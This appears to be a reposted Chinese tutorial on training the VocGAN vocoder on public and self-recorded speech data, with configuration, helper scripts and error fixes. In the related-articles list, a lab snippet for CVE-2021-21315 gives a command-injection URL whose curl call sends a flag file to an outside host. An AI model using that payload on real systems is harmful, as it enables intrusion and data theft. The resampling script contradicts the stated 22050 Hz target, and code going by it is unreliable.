TTS | VocGAN声码器训练自己的数据集

news2025/1/18 9:07:17

哈喽,今天给大家介绍的是如何使用VocGAN声码器训练自己的数据集。

原文

VocGAN: A High-Fidelity Real-time Vocoder with a Hierarchically-nested Adversarial Network

想要论文解读,请参考我的这篇文章~

本博客主要包括以下内容:

目录

1.环境设置

2.数据集处理

2.1.数据集LJSpeech

2.2.数据集KSS

3.训练数据集

3.1.训练LJSpeech

4.训练自定义数据集

推理

过程中遇到的错误及解决

【PS1】AttributeError: module 'torch._C' has no attribute 'DoubleStorageBase'

【PS2】AssertionError: sample rate mismatch. expected 22050, got 48000 at /workspace/tts/Korean-FastSpeech2-Pytorch/data/Voice/wavs/72.wav

【PS3】ValueError: num_samples should be a positive integer value, but got num_samples=0

扩展


1.环境设置

git clone https://github.com/rishikksh20/VocGAN
cd VocGAN

conda create -n gan python=3.8
conda activate gan
pip install -r requirements.txt

  • 下载数据集进行训练。这可以是任何采样率为 22050Hz 的 wav 文件。(论文中使用了LJSpeech)
  • 预处理:python preprocess.py -c config/default.yaml -d [data's root path]
  • 编辑配置yaml文件

 修改preprocess.py中的配置文件和数据集路径

2.数据集处理

2.1.数据集LJSpeech

新建一个文件夹data,下载数据集LJSpeech,然后解压缩,新建一个mels文件夹.可参考【LJSpeech数据集下载】13100个语音

python preprocess.py -c config/ljs.yaml -d /workspace/tts/VocGAN/data/LJSpeech-1.1/wavs

 运行后出现

 然后进入下一步3.训练数据集

2.2.数据集KSS

在kss文件夹下新建了文件夹valid,mels

data: # root path of train/validation data (either relative/absoulte path is ok)
  train: '/workspace/tts/Fastspeech2-Korean/data/kss/wavs_bak'
  validation: '/workspace/tts/Fastspeech2-Korean/data/kss/valid'
  mel_path: '/workspace/tts/Fastspeech2-Korean/data/kss/mels'
  eval_path: ''
---
train:
  rep_discriminator: 1
  discriminator_train_start_steps: 100000
  num_workers: 8
  batch_size: 16
  optimizer: 'adam'
  adam:
    lr: 0.0001
    beta1: 0.5
    beta2: 0.9
---
audio:
  n_mel_channels: 80
  segment_length: 16000
  pad_short: 2000
  filter_length: 1024
  hop_length: 256 # WARNING: this can't be changed.
  win_length: 1024
  sampling_rate: 22050
  mel_fmin: 0.0
  mel_fmax: 8000.0
---
model:
  feat_match: 10.0
  lambda_adv: 1
  use_subband_stft_loss: False
  feat_loss: False
  out_channels: 1
  generator_ratio: [4, 4, 2, 2, 2, 2] # for 256 hop size and 22050 sample rate
  mult: 256
  n_residual_layers: 4
  num_D : 3
  ndf : 16
  n_layers: 3
  downsampling_factor: 4
  disc_out: 512
  
stft_loss_params:
    fft_sizes: [1024, 2048, 512]  # List of FFT size for STFT-based loss.
    hop_sizes: [120, 240, 50]     # List of hop size for STFT-based loss
    win_lengths: [600, 1200, 240] # List of window length for STFT-based loss.
    window: "hann_window"         # Window function for STFT-based loss
subband_stft_loss_params:
  fft_sizes: [384, 683, 171]  # List of FFT size for STFT-based loss.
  hop_sizes: [30, 60, 10]     # List of hop size for STFT-based loss
  win_lengths: [150, 300, 60] # List of window length for STFT-based loss.
  window: "hann_window"       # Window function for STFT-based loss
---
log:
  summary_interval: 1
  validation_interval: 5
  save_interval: 20
  chkpt_dir: 'chkpt'
  log_dir: 'logs'

然后运行

python preprocess.py -c config/default.yaml -d /workspace/tts/Fastspeech2-Korean/data/kss/wavs_bak

如果出错,请参考【PS1】

3.训练数据集

3.1.训练LJSpeech

复制VocGAN/config/default.yaml,改名为ljs.yaml

修改ljs.yaml中数据(data)中,train的路径和validation的路径(这俩是必须的,eval为空也可以)

所以要把数据集进行划分训练集和验证集,进入data文件夹下新建splitdata.py

import os
import random


def main():
    random.seed(0)  # 设置随机种子,保证随机结果可复现

    files_path = "/workspace/tts/VocGAN/data/LJSpeech-1.1/wavs"
    assert os.path.exists(files_path), "path: '{}' does not exist.".format(files_path)

    val_rate = 0.3 #验证集比例设置为0.3
	#获取数据集的名字(不包含后缀),排序后存放到files_name列表中
    files_name = sorted([file.split(".")[0] for file in os.listdir(files_path)])
    files_num = len(files_name)
    val_index = random.sample(range(0, files_num), k=int(files_num*val_rate))
    train_files = []
    val_files = []
    for index, file_name in enumerate(files_name):
        if index in val_index:
            val_files.append(file_name)
        else:
            train_files.append(file_name)

    try:
        train_f = open("train.txt", "x")
        eval_f = open("val.txt", "x")
        train_f.write("\n".join(train_files))
        eval_f.write("\n".join(val_files))
    except FileExistsError as e:
        print(e)
        exit(1)
if __name__ == '__main__':
    main()

然后进行划分

cd data
python splitdata.py

结果如图 

最后进行训练

python trainer.py -c config/ljs.yaml -n ljs_ckpt

 参数:

- -c也就是--config 是要求的配置文件

- - n也就是--name 是要求的训练数据后保存权重文件的文件夹名

训练完后,可查看

tensorboard --logdir logs/

4.训练自定义数据集

自己收集的语音数据集,包含语音和语音文本

对语音数据的收集包含了:手机电脑自带录音,利用软件录音

手机录音的采样率是指录制声音时每秒钟采集的样本数。采样率越高,录制声音的准确性越高,但同时也会增加文件的大小。大多数手机录音应用默认的采样率为44.1 kHz,与CD音质相同。然而,一些应用程序允许用户自定义采样率,让用户在文件大小和音质之间做出选择。

对数据进行重命名


import os

path_in = "/workspace/tts/Korean-FastSpeech2-Pytorch/data/DyonVoice/wavs"  # 待批量重命名的文件夹
class_name = ".wav"  # 重命名后的文件名后缀

file_in = os.listdir(path_in)  # 返回文件夹包含的所有文件名
num_file_in = len(file_in)  # 获取文件数目

for i in range(0, num_file_in):
    t = str(i + 1)
    new_name = os.rename(path_in + "/" + file_in[i], path_in + "/" +t+ class_name)  # 重命名文件名

file_out = os.listdir(path_in)
print(file_out)  # 输出修改后的结果`

因为vocgan要求采样率是22050,

如果是手机录音的话,采样率可能不同,所以要批量将采样率统一为22050。

resamplingrate.py

import os
import librosa
import tqdm
import soundfile as sf

if __name__ == '__main__':
	# 要查找的音频类型
    audioExt = 'wav'
    # 待处理音频的采样率
    input_sample = 22050
    # 重采样的音频采样率
    output_sample = 16000
    # 待处理音频的多个文件夹
    #audioDirectory = ['/data/orgin/train', '/data/orgin/test']
    audioDirectory = ['/workspace/tts/Korean-FastSpeech2-Pytorch/data/DyonVoice/wavs']

    # 重采样输出的多个文件夹
    #outputDirectory = ['/data/traindataset', '/data/testdataset']
    outputDirectory = ['/workspace/tts/Korean-FastSpeech2-Pytorch/data/DyonVoice/wav']

	# for 循环用于遍历所有待处理音频的文件夹
    for i, dire in enumerate(audioDirectory):
    	# 寻找"directory"文件夹中,格式为“ext”的音频文件,返回值为绝对路径的列表类型
        clean_speech_paths = librosa.util.find_files(
                directory=dire,
                ext=audioExt,
                recurse=True, # 如果选择True,则对输入文件夹的子文件夹也进行搜索,否则只搜索输入文件夹
            )
        # for 循环用于遍历搜索到的所有音频文件
        for file in tqdm.tqdm(clean_speech_paths, desc='No.{} dataset resampling'.format(i)):
        	# 获取音频文件的文件名,用作输出文件名使用
            fileName = os.path.basename(file)
            # 使用librosa读取待处理音频
            y, sr = librosa.load(file, sr=input_sample)
            # 对待处理音频进行重采样
            y_16k = librosa.resample(y, orig_sr=sr, target_sr=output_sample)
            # 构建输出文件路径
            outputFileName = os.path.join(outputDirectory[i], fileName)
            # 将重采样音频写回硬盘,注意输出文件路径
            sf.write(outputFileName, y_16k, output_sample)

  python /workspace/tts/VocGAN/data/resampling.py

先对语音进行预处理,将wav文件转化为mel文件

python preprocess.py -c config/maydata.yaml -d /workspace/tts/Korean-FastSpeech2-Pytorch/data/DyonVoice/wavs

 划分train和val后

然后训练

python trainer.py -c config/mydata.yaml -n dyon

如果出错没请参考【PS3】

运行后结果如图

 

 注意:这里不小心中断后,会从头训练

推理

# python inference.py -p checkpoint路径 -i 输入mel的路径
python inference.py -p /workspace/tts/VocGAN/chkpt/dyon/dyon_2dfbde2_33680.pt -i /workspace/tts/Korean-FastSpeech2-Pytorch/data/DyonVoice/mels

过程中遇到的错误及解决

【PS1】AttributeError: module 'torch._C' has no attribute 'DoubleStorageBase'

 错误原因可能是torch版本和cuda版本不兼容

查询cuda版本:nvcc -v,可以看到cuda11.8

 更换版本

conda install pytorch==1.10.0 torchvision==0.11.0 torchaudio==0.10.0 cudatoolkit=11.3 -c pytorch -c conda-forge

更换后还是出错

尝试

conda install pytorch torchvision torchaudio pytorch-cuda=11.8 -c pytorch -c nvidia

升级后

 导入torch没问题

但是运行时出现

ImportError: cannot import name 'COMMON_SAFE_ASCII_CHARACTERS' from 'charset_normalizer.constant' (/opt/miniconda3/envs/gan/lib/python3.8/site-packages/charset_normalizer/constant.py)导入错误:无法从“charset_normalizer.constant”导入名称“COMMON_SAFE_ASCII_CHARACTERS”
这个报错可能是由于charset_normalizer模块的版本问题引起的。尝试更新charset_normalizer模块到最新版本,或者使用较旧的版本,看看是否可以解决问题。可以尝试以下命令更新模块:

pip install --upgrade charset-normalizer

 AttributeError: module 'numpy' has no attribute 'complex'.

点开对应代码

 "/opt/miniconda3/envs/gan/lib/python3.8/site-packages/librosa/core/constantq.py", line 1058, 

np.complex是内置complex的一个已弃用的别名。
除了np.complex,还可以使用:

complex(1)         #output (1+0j)
#or
np.complex128(1)   #output (1+0j)
#or
np.complex_(1)     #output (1+0j)
#or
np.cdouble(1)      #output (1+0j)

改完后如图

 然后就可以啦~

【PS2】AssertionError: sample rate mismatch. expected 22050, got 48000 at /workspace/tts/Korean-FastSpeech2-Pytorch/data/Voice/wavs/72.wav

因为 .wav 文件是立体声,但您需要转换为单声道。使用以下指南将一批文件批量转换为单声道格式。

【PS3】ValueError: num_samples should be a positive integer value, but got num_samples=0

解决方法:

1. 检查dataset中的路径,路径不对,读取不到数据。

2. 检查Dataset的__len__()函数为何输出为零

扩展

  train: '/workspace/tts/Korean-FastSpeech2-Pytorch/data/Voice/wavs'
  validation: '/workspace/tts/Korean-FastSpeech2-Pytorch/data/Voice/vaild'
  mel_path: '/workspace/tts/Korean-FastSpeech2-Pytorch/data/Voice/mels'
  eval_path: '/workspace/tts/Korean-FastSpeech2-Pytorch/data/Voice/korean_corpus.csv'

python preprocess.py -c config/mydata.yaml -d /workspace/tts/Korean-FastSpeech2-Pytorch/data/DyonVoice/wavs

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/884789.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何将短视频做成动态图?教你快速gif制作的方法

将产品或服务的短视频转换为gif图像后,可以在网站、电子邮件或社交媒体广告中使用,以吸引潜在客户的兴趣,那么怎么才能把短视频转gif图片呢?当然是使用专业的短视频转gif工具(在线视频转换gif-视频转gif转换器-gif.cn_…

C语言,结构体,结构体大小,

1、结构体: 用于存储不同数据类型的多个相关变量,从而形成一个具有独立性的组合数据类型。 结构体的声明: struct 结构体类型名{ 数据类型 成员1; 数据类型 成员2; 数据类型 成员3; ……… }&#xff1…

观察级水下机器人使用系列之六超短基线(上)

观察级水下机器人使用的超短基线型号是Micro-Ranger2,由换能器MRT、甲板单元(ESH)、信标(Nano)和计算机组成。超短基线主要用于深水(大于100m),在浅水环境下,会有多径时延扩展&#…

FreeRTOS qemu mps2-an385 bsp 移植制作 :系统启动篇

相关文章 FreeRTOS qemu mps2-an385 bsp 移植制作 :环境搭建篇 开发环境 Win10 64位 VS Code,ssh 远程连接 ubuntu VMware Workstation Pro 16 Ubuntu 20.04 FreeRTOSv202212.01(备注:可以在 github 获取最新版本&#xff0…

亿赛通电子文档安全管理系统任意文件上传漏洞复现

0x01 产品简介 亿赛通电子文档安全管理系统(简称:CDG)是一款电子文档安全加密软件,该系统利用驱动层透明加密技术,通过对电子文档的加密保护,防止内部员工泄密和外部人员非法窃取企业核心重要数据资产&…

openGauss学习笔记-41 openGauss 高级数据管理-匿名块

文章目录 openGauss学习笔记-41 openGauss 高级数据管理-匿名块41.1 语法41.2 参数说明41.3 示例 openGauss学习笔记-41 openGauss 高级数据管理-匿名块 匿名块(Anonymous Block)是存储过程的字块之一,没有名称。一般用于不频繁执行的脚本或…

【Unity每日一记】方位辨别—向量的叉乘点乘结合

👨‍💻个人主页:元宇宙-秩沅 👨‍💻 hallo 欢迎 点赞👍 收藏⭐ 留言📝 加关注✅! 👨‍💻 本文由 秩沅 原创 👨‍💻 收录于专栏:uni…

优化 Linux 系统性能:探索 tuned 守护进程的调优配置文件

tuned守护进程调优系统调优配置文件从命令行配置系统调优安装、启用和启动tuned软件包tuned-adm 感谢 💖 hello大家好😊 tuned守护进程调优系统 系统管理员可以基于多种用例工作负载来调整各种设备设置,以此优化系统性能。tuned 守护进程会利…

Python学习笔记_基础篇(七)_常用模块

模块,用一砣代码实现了某个功能的代码集合。 类似于函数式编程和面向过程编程,函数式编程则完成一个功能,其他代码用来调用即可,提供了代码的重用性和代码间的耦合。而对于一个复杂的功能来,可能需要多个函数才能完成…

什么是LAXCUS分布式操作系统?

相较Linux、Windows,Laxcus是同时在多台计算机上运行的操作系统,处理大规模、高并发、高性能业务,其特点是资源共享和任务并行,并实现【数存算管】超融合一体化。环境中的资源:CPU、GPU、内存、硬盘、网络,…

Python学习笔记_基础篇(八)_正则表达式

1. 正则表达式基础 1.1. 简单介绍 正则表达式并不是Python的一部分。正则表达式是用于处理字符串的强大工具,拥有自己独特的语法以及一个独立的处理引擎,效率上可能不如str自带的方法,但功能十分强大。得益于这一点,在提供了正则…

【Alibaba中间件技术系列】「RocketMQ技术专题」帮你梳理RocketMQ相关的消费问题以及原理分析总结

消息重复消费的问题 消息重复消费是各个MQ都会发生的常见问题之一,在一些比较敏感的场景下,重复消费会造成比较严重的后果,比如重复扣款等。 消息重复消费场景及解决办法 在什么情况下会发生RocketMQ的消息重复消费呢? 生产者重…

运动健身耳机什么的好、适合运动的耳机推荐

保持运动健身的习惯不仅成为一种生活态度,也逐渐演变为一种时尚潮流。随之而来的是越来越多的周边设备,旨在提高健身爱好者的运动效率。其中,运动耳机无疑是其中之一,不论是室内锻炼还是室外运动,一款舒适的运动耳机能…

【LeetCode75】第三十题 奇偶链表

目录 题目: 示例: 分析: 代码: 题目: 示例: 分析: 题目给我们一个链表,让我们把奇索引和偶索引的节点区分开来 ,参考示例给出的图我们应该就能很清晰地知道题目是什么…

第六章Tomcat部署以及优化

Tomcat: 开放源代码web应用服务器。(基于Java代码开发的),主要是处理动态请求和基于java代码进行页面开发。可以在html当中写入Java代码,Tomcat可以解析html页面当中的Java,执行动态请求,动态页…

春秋云镜 CVE-2021-21315

春秋云镜 CVE-2021-21315 systeminformation存在命令注入 靶标介绍 systeminformation是一个简单的查询系统和OS信息包。 启动场景 漏洞利用 exp /api/osinfo?param[]$(curl%20-d%20/flag%20xxx.ceye.io)登录ceye.io平台,curl请求 http://eci-2zed871sr7xrdjb…

Memory Analyzer(MAT)分析内存

关于作者:CSDN内容合伙人、技术专家, 从零开始做日活千万级APP。 专注于分享各领域原创系列文章 ,擅长java后端、移动开发、人工智能等,希望大家多多支持。 目录 一、导读二、概览三、 使用3.1 hprof 文件准备3.1.1 Android sutdi…

word之插入尾注+快速回到刚才编辑的地方

1-插入尾注 在编辑文档时,经常需要对一段话插入一段描述或者附件链接等,使用脚注经常因占用篇幅较大导致文档页面内容杂乱,这事可以使用快捷键 ControlaltD 即可在 整个行文的末尾插入尾注,这样文章整体干净整洁,需…

驾考笔记 _ 科目3 - 坂田线路图

深圳坂田线路图 1#线 >2#线 >3#线 > 1#线 > 2#线 > 3#线 > 简图: